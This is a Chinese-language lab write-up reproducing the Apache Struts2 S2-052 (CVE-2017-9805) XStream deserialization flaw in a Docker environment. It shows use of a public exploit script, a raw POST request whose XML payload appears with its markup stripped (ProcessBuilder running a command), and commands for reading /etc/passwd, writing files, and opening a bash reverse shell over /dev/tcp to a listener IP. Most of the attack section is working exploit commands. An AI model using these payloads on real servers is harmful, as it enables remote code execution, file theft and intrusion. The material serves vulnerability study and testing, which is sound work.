S2-052 漏洞复现

Structs2框架已知的漏洞编号如下：

• S2-005
• S2-009
• S2-016 (含S2-013)
• S2-019
• S2-020
• S2-021
• S2-032
• S2-037（含S2-033)
• DevMode
• S2-045
• S2-046
• S2-048
• S2-052
• S2-055
• S2-057

 

S2-052（ CVE-2017-9805）环境：

https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-052

 

访问 http://你的 IP 地址:端口号/

漏洞poc检测与利用

poc下载：

https://github.com/Lone-Ranger/apache-struts-pwn_CVE-2017-9805

检测到漏洞存在：

python apache-struts-pwn.py -u 'http://192.168.190.135:8080/orders/3/edit'

漏洞利用写入文件

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

 

POST /orders/3 HTTP/1.1

Host: 192.168.190.135:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/xml

Content-Length: 2415

Connection: close

Referer: http://192.168.190.135:8080/orders/3/edit

Cookie: JSESSIONID=8FCB55C3A30CB6059D3530A01C3E6FA0

Upgrade-Insecure-Requests: 1

DNT: 1

 

0

false

0

touch

/tmp/success

false

java.lang.ProcessBuilder

start

foo

foo

false

0

0

false

false

0

 

 

 

 

以上数据包成功执行的话，会在docker容器内创建文件/tmp/success，

执行docker-compose exec struts2 ls /tmp/即可看到。

docker-compose exec struts2 ls /tmp/

读文件：

cp /etc/passwd /tmp/passwd

 

写文件：

bash

-c

echo micr067 > /tmp/test.txt

反弹shell：

bash -c bash -i >&; /dev/tcp/192.168.190.130/1521 0>&;1

 

参考链接：

https://github.com/Lone-Ranger/apache-struts-pwn_CVE-2017-9805

https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md